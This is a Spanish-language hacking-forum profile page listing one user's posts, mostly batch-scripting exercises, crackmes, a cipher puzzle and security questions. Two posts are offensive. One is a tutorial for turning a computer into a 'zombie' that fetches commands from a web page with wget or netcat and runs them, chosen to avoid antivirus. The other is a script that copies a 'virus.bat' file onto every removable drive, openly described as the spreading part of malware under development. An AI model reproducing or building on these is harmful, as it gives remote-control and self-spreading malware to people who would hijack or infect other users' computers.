elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Temas
Páginas: [1]
1  Foros Generales / Dudas Generales / Una duda existencial de un aprendiz en: 8 Diciembre 2014, 22:15 pm
Saludos, desde hace bastante tiempo tengo una duda existencial si deberia comunicar a una "Gran empresa" de este pais una Vuln que tiene en su aplicacion web, la cual da acceso a todos los usuarios y servicios de la empresa, tienen un comunicado puesto mencionando que en la antiguedad han intentado estafarla y por eso me da yuyu haber si voy a ir de buenas y me van a tomar por cabeza de turko, e pensado comunicarselo iwal a traves de la red TOR para proteger mi IP en lo posible que opinais, deberia exponerme u no ?

Esta comunidad a descubierto varias vuln muy importantes , tonces creo que sabeis obrar mejor que yo en estos lares, pido consejo porfis  ;D

Un saludo
2  Seguridad Informática / Criptografía / Cifrado LauBuru en: 2 Diciembre 2014, 23:31 pm
AFCDAFC43D  3DCDAD3434 34AF1D3232 AFCD1BAFAF AF3D323D3D 3DABABC2ED 3F124AABE4

Cifrado con lapiz y papel


Descifrenlo y Respondan correctamente   ;D
3  Programación / Scripting / [Bach] ~Filtro anti-inyecciones by LauBuru~ en: 9 Diciembre 2011, 23:30 pm
Saludos, e codeado este filtro anti inyecciones y me preguntaba si tiene fallas pues yo no se las veo, lo dejo por si quereis testarlo. Intentad ejecutar algun comando que no este en el script haber si podeis  ;)


Un saludo gente   ;D

Código
  1. @echo off
  2. :uno
  3. set "Pss="
  4. cls
  5. echo Ingresa el password:
  6. set /p Pss=
  7. for /f "tokens=1" %%a in ('set ^| find /i "Pss"') do ( if "%%a" EQU "Pss=1001" (echo
  8.  
  9. bien && pause >nul && goto uno) else (echo mal && pause >nul && goto uno)) ||
  10.  
  11. echo mal && pause >nul && goto uno
  12. echo mal && pause >nul
  13. goto uno
  14.  
4  Programación / Scripting / [Com] float v2 (Suma,resta,multiplicacion y division decimal) en: 4 Julio 2010, 12:18 pm
En esta segunda version e ampliado el comando hasta las cuatro acciones aritmeticas basicas (Sumar, restar, multiplicar y dividir) con numeros reales, quiero avisar antes de que se me hechen al cuello de que el segundo decimal no suele ser totalmente exacto hay una variacion respecto a una calculadora, esto se deve a que CMD tiende a redondear los resultados cuando la operacion no devuelve un numero entero por lo demas va medianamente bien, os dejo el codigo para que le hecheis un vistazo.

Sintaxis:
Código:
float xx,yy + xx,yy
float xx,yy - xx,yy
float xx,yy * xx,yy
float xx,yy / xx,yy

Código
  1. @echo on
  2. set operador=%3
  3. set /a cont=-1
  4. set /a cont2=-1
  5. set /a cont3=-1
  6. for /f "tokens=*" %%a in ('set /a "operando1=%1,%2"') do ( set decimales1=%%a)
  7. for /f "tokens=*" %%b in ('set /a "operando2=%4,%5"') do (set decimales2=%%b)
  8. for /f "tokens=*" %%c in ('echo %1') do ( set entero1=%%c)
  9. for /f "tokens=*" %%d in ('echo %4') do ( set entero2=%%d)
  10. if "^%operador%s" == "^+s" (goto sumar)
  11. if "^%operador%s" == "^-s" (goto restar)
  12. if "^%operador%s" == "^*s" (goto multiplicar)
  13. if "^%operador%s" == "^/s" (goto dividir)
  14.  
  15. :sumar
  16. set /a RsEntero=%entero1% %operador% %entero2%
  17. set /a RsDecimal=%decimales1% %operador% %decimales2%
  18. if "100" GEQ "%RsDecimal%" (set /a "RsEntero=%RsEntero% + %RsDecimal:~0,1%")
  19. set "resultado=%RsEntero%,%RsDecimal%"
  20. echo %resultado%
  21. exit /b %resultado%
  22.  
  23. :restar
  24. set /a RsEntero=%entero1% %operador% %entero2%
  25. set /a RsDecimal=%decimales1% %operador% %decimales2%
  26. if "%decimales1%" LSS "%decimales2%" (set "decimales1=1%decimales1%" & set /a "entero1=%entero1%-1" & goto uno)
  27. if "%decimales2%" LSS "%decimales1%" (set "decimales2=1%decimales2%" & set /a "entero2=%entero2%-1" & goto dos)
  28.  
  29. :uno
  30. set /a RsDecimal=%decimales1%- %decimales2%
  31. set /a RsEntero=%entero2%%operador%%entero1%
  32. set resultado=%RsEntero%,%RsDecimal%
  33. echo %resultado%
  34. exit /b %resultado%
  35.  
  36. :dos
  37. set /a RsDecimal=%decimales2%- %decimales1%
  38. set /a RsEntero=%entero2%%operador%%entero1%
  39. set resultado=-%RsEntero%,%RsDecimal%
  40. echo %resultado%
  41. exit /b %resultado%
  42.  
  43. :multiplicar
  44. set /a RsEntero=%entero1% %operador% %entero2%
  45. set /a RsDecimal=%decimales1% %operador% %decimales2%
  46. set line1=%entero1%%decimales1%
  47. set line2=%entero2%%decimales2%
  48. set /a RsTotal= %line1% * %line2%
  49. set "resultado=%RsTotal:~0,-4%,%RsTotal:~-4%"
  50. echo %resultado%
  51. exit /b %resultado%
  52.  
  53. :dividir
  54. set /a Dividendo=%entero1%%decimales1%
  55. set /a Divisor=%entero2%%decimales2%
  56. if "%Dividendo%" GTR "%Divisor%" (goto cuatro) else (set "Dividendo=%Dividendo%0" & goto tres)
  57.  
  58.  
  59. :tres
  60. for /l %%g in (%Dividendo%,-%Divisor%,0) do (
  61. set /a cont=!cont! + 1  
  62. if "%%g" LSS "%Divisor%" (set Resto=%%g ) )
  63. for /l %%h in (%Resto%0,-%Divisor%,0) do (
  64. set /a cont2=%cont2% + 1
  65. if "%%h" LSS "%Divisor%" (set Resto=%%h0) )
  66. for /l %%_ in (%Resto%,-%Divisor%,0) do (
  67. set /a cont3=%cont3% + 1
  68. if "%%_" LSS "%Divisor%" (set Resto=%%_) )
  69. set resultado=0,%cont:-=%%cont2:-=%%cont3:-=%
  70. echo %resultado%
  71. exit /b %resultado%
  72.  
  73. :cuatro
  74. for /l %%i in (%Dividendo%,-%Divisor%,0) do (
  75. set /a cont+=1
  76. if "%%i" LSS "%Divisor%" (set Resto=%%i0 ) )
  77. for /l %%j in (%Resto%,-%Divisor%,0) do (
  78. set /a cont2+=1
  79. if "%%j" LSS "%Divisor%" (set Resto=%%j0) )
  80. for /l %%k in (%Resto%,-%Divisor%,0) do (
  81. set /a cont3+=1
  82. if "%%k" LSS "%Divisor%" (set Resto=%%k) )
  83. set resultado=%cont%,%cont2%%cont3%  
  84. echo %resultado%
  85. exit /b %resultado%
  86.  


Tambien, y derivado del float e creado otro code para realizar raices cuadradas decimales, tmb tiene error por redondeo pero menos es nada XD

Sintaxis:
Código:
sqr xx,yy

Código
  1. @echo on
  2. set "pam=%*"
  3. set pam2=%2
  4. set pam2=%pam2:~0,1%
  5. set RefEntera=-1
  6. set RefDecimal=-1
  7. set cont=0
  8. set cont2=0
  9. set cont3=0
  10. goto uno
  11.  
  12. :uno
  13. set /a RefEntera= %RefEntera% + 1
  14. set /a cont=%cont% + 1
  15. set /a BaseEntera= %cont% * %cont%
  16. if %BaseEntera% GTR %1 (goto dos)
  17. if %BaseEntera% GTR %1 (goto dos)
  18. if %BaseEntera% EQU %1%2 (echo %cont% & exit /b) else (goto uno)
  19.  
  20.  
  21. :dos
  22. pushd "%windir%\system32"
  23. set /a RefDecimal=%RefDecimal% + 1
  24. set /a cont3=%cont3% + 1
  25. for /f "tokens=*" %%a in ('float.bat %RefEntera%,%cont3% * %RefEntera%,%cont3%') do (
  26. set res=%%a)
  27. set res=%res:,=%
  28. set res=%res:~-6%
  29. if %res% EQU %pam:,=% (echo %cont3%)
  30. if %res% GTR %pam:,=% (echo %RefEntera%,%RefDecimal:~0,1%%res:~0,1% & pause & exit /b)
  31. goto dos
  32.  
  33.  

Espero os resulte util o por lo menos curioso XD!!

Un saludo gente ^^
5  Programación / Scripting / [Comando] Float.bat (Sumas y restas con decimales) en: 29 Junio 2010, 01:17 am
Con este script podremos sumar y restar con dos decimales por lo menos :) , el code funciona bastante bien, despues de bastantes errores en el algoritmo creo haberlo afinado haunque si veis errores en los resultados me gustaria que pusierais las cantidades con las que habeis operado para estudiar el comportamiento y corregir el algoritmo, bueno espero que os sirva

La sintasix seria por ejemplo:

Código:
float xx,yy + xx,yy
float xx,yy - xx,yy

Este es el codigo resultante

Código
  1. @echo off
  2. set operador=%3
  3. for /f "tokens=*" %%a in ('set /a "operando1=%1,%2"') do ( set decimales1=%%a)
  4. for /f "tokens=*" %%b in ('set /a "operando2=%4,%5"') do (set decimales2=%%b)
  5. for /f "tokens=*" %%c in ('echo %1') do ( set entero1=%%c)
  6. for /f "tokens=*" %%d in ('echo %4') do ( set entero2=%%d)
  7. set /a RsEntero=%entero1% %operador% %entero2%
  8. set /a RsDecimal=%decimales1% %operador% %decimales2%
  9. if "^%operador%s" == "^+s" (goto sumar)
  10. if "^%operador%s" == "^-s" (goto restar)
  11.  
  12. :sumar
  13. if "100" GEQ "%RsDecimal%" (set /a "RsEntero=%RsEntero% + %RsDecimal:~0,1%")
  14. set "resultado=%RsEntero%,%RsDecimal%"
  15. echo %resultado%
  16. exit /b %resultado%
  17.  
  18. :restar
  19. if "%decimales1%" LSS "%decimales2%" (set "decimales1=1%decimales1%" & set /a "entero1=%entero1%-1" & goto uno)
  20. if "%decimales2%" LSS "%decimales1%" (set "decimales2=1%decimales2%" & set /a "entero2=%entero2%-1" & goto dos)
  21.  
  22. :uno
  23. set /a RsDecimal=%decimales1%- %decimales2%
  24. set /a RsEntero=%entero2%%operador%%entero1%
  25. set resultado=%RsEntero%,%RsDecimal%
  26. echo %resultado%
  27. exit /b %resultado%
  28.  
  29. :dos
  30. set /a RsDecimal=%decimales2%- %decimales1%
  31. set /a RsEntero=%entero2%%operador%%entero1%
  32. set resultado=-%RsEntero%,%RsDecimal%
  33. echo %resultado%
  34. exit /b %resultado%
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  

Espero que os guste, un saludo gente
6  Seguridad Informática / Nivel Web / dudas respuestas HTTP en: 22 Junio 2010, 00:35 am
Hola gente :)

Tengo un problemilla que me tiene un poco atascado, os expongo la situacion, estpy estudiando el protocolo HTTP y el asunto trata de que intento modificar el dontenido de un formilario dentro de una pagina mediante el metodo POST, puesto que es el unico que acepta, para ello en copiado la mediante "Live HTTP headers" la cabecera a un texto e intento mandarlo a traves del NC tal que asi

Código
  1. type "head.txt" | nc -vn IP Puerto
  2.  

Optengo un Bad Request (400) pero viene con un comentario que no acabo de entender

Citar
Request header field is missing ':' separator

Mi pregunta es que campo no se encuentra?, si es una replica de la cabecera mandada por el firefox, como me tiene desconcertado , acudo a vosotros los sabios, haber si podeis encaminar a este pobre profano
7  Seguridad Informática / Análisis y Diseño de Malware / Subyugar un pc con archivos por lotes en: 18 Marzo 2010, 14:29 pm
Bueno me e animado a subir este pequeño manual para volver "zombi" cualquier ordenado y que ejecute nuestras ordenes lo que denominare (ya que no se su denominacion tecnica) una conexion indirecta ya que nosotros dejaremos la orden en un sitio y el zombi la recogera y ejecutara, aviso que todo lo hago con batch + wget , inicialmente lo codifique utilizando netcat pero para llamar menos la atencion de los AV lo recodifique con wget


Bueno basicamente es aprovechar cualquier campo fijo (pero actualizable) para poner nuestro comando, para poder aislar la linea que contiene nuestro comando deberemos añadir una cadena singular usease una cadena unica que no se repita en el codigo fuente de la pagina a la que llamaremos

Explicare la manera de hacerlo con Netcat tmb para quede completo XD!!

Si utilizamos netcat deveremos guardar la URL en una variable <<EXCLUIENDO los caracteres ( & ) importante!! >>

Si la URL seleccionada tuviera dichos caracteres separariamos la URL en diferentes variables



Código:
http://webPortadora/campo/archivo.html


Esta URL se podria directamente en una variable



Código
  1. set "URL=http://webPortadora/campo/archivo.html"


Esta otra URL habria que separarla

Código:

Código:
http://webPortadora/index.php?id=1&u=10&z=3


Dejandola en tres variables

Código:

Código
  1. set "url1=http://webPortadora/index.php?id=1"
  2. set "url2=u=10"
  3. set "url3=z=3"


Una vez tenemos la url dentro de una variable realizamos la peticion de la pag y aislamos la linea que nos interesa utilizando la cadena singular, recordais ... Cheesy



Código
  1. echo GET %URL%| nc -vn IP(webportadora) 80 | find "CadenaSingular"
  2. o
  3. echo GET "%url1%&%url2%&%url3%" | nc -vn IP(webportadora) 80 | find "CadenaSingular"


Por precaucion contra lammers dire que este code deberia encerrarse dentro de un FOR /F  para poder meter el resultado de la salida del COMANDO en una variable

Como la linea de la pagina a la que llamamos aparte de nuestro codigo tmb tiene su propio codigo html tendremos que recortarle los extremos a la variable tal que asi

Código:

 
Código
  1. set resultado=%resultado:~X,-Y%



Donde (X) seria el cacho que quitamos al principio y (-Y) seria el cacho que le comeremos al final una vez que tenemos el comando en una variable ejecutarlo es una cosa trivial

Con WGET la cosa es casi iwal con la excepcion de que wget guarda el resultado en un archivo el cual llamamos con un FOR /F y guardamos el resultado de la salida en la variable, la recortamos y ya tenemos el comando
nuevamente listo para que lo ejecutemos.


Imaginad con un buen metodo de propagacion .......


Espero os haya servido de algo :)

Un saludo  ;D


8  Programación / Scripting / Crackme mejorado en: 26 Octubre 2009, 22:35 pm
Bueno si a alguien le interesan los crackmes aqui os dejo uno haber si conseguis sacar el pass


Código:
@echo off
:cero
@set /p pass=Clave:
@set /a conv=0x%pass:~0,2% * 0x%pass:~2,2%
@set convd=%pass:~4,3%
@set  /a convt= 0x%pass:~7,2%
@set /a convtu= 0x%pass:~9,2%
@set /a convtd= 0x%pass:~11,2%
@set convt=%convt%%convtu%%convtd%
@set cont=0
for /l %%a in (%conv%,%convd%,%convt%) do (call :uno %%a)
@set P=%pass:~0,1%%pass:~-1%
@set /a R=%cont% + 0x%pass:~7,2% + %pass:~2,1%+

0x0%pass:~0,1% >null
@set /a F= %P%*%R%
@set G=%convt:~-4%
if %F% NEQ %G% (echo Error!) else (echo correcto!  XD!!)

:uno
@set U=%*
@set /a cont =%cont%+1
if %cont% EQU 2 (call :dos %U% & goto :EOF) else (
goto :EOF
)

:dos
@set /a S=%U:~0,2% - 0002
goto :EOF



Un saludo gente
9  Programación / Scripting / Crackme by LauBuru en: 29 Septiembre 2009, 01:55 am
Bueno e codeado mi primer crackme, los expertos os descojonareis de lo facil que es pero sed comprensivos que es el primero XD!!

Resultado por MP Animaos!!

Un saludoo   

http://rapidshare.com/files/286200858/LauBuru.rar.htm
10  Programación / Scripting / Script batch para infeccion a traves de Unidades Extraibles en: 29 Marzo 2009, 21:39 pm
Bueno estoy codeando un malware que no estya terminado, e optado por el metodo de propagacion a traves de unidades extraibles (USB,SlimCard,Memory Stick,etc...)
Os dejo un script para detectar e copyar archivos en unidades extraible, pruebenlo haber que les parece, no creo que haya errores pues funciona perfectamente, pero si encuentran algo diganmelo porfa

Un saludo gente    ;D


Código:
@echo off
echo. > unidad.txt
for %%a in ( A: B: C: D: E: F: G: H: I: J: K: L: M: N: Ñ: O: P: Q: R: S: T: U: V: W: X: Y: Z: ) do (
 fsutil fsinfo drivetype %%a >> unidad.txt)
type unidad.txt | find "extra" >unExtra.txt
for /f "tokens=1" %%b in (unExtra.txt) do ( call :infect %%a)
:infect
set pam=%*
copy %systemroot%\system32\virus.bat %pam%\virus.bat || goto :eof

Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines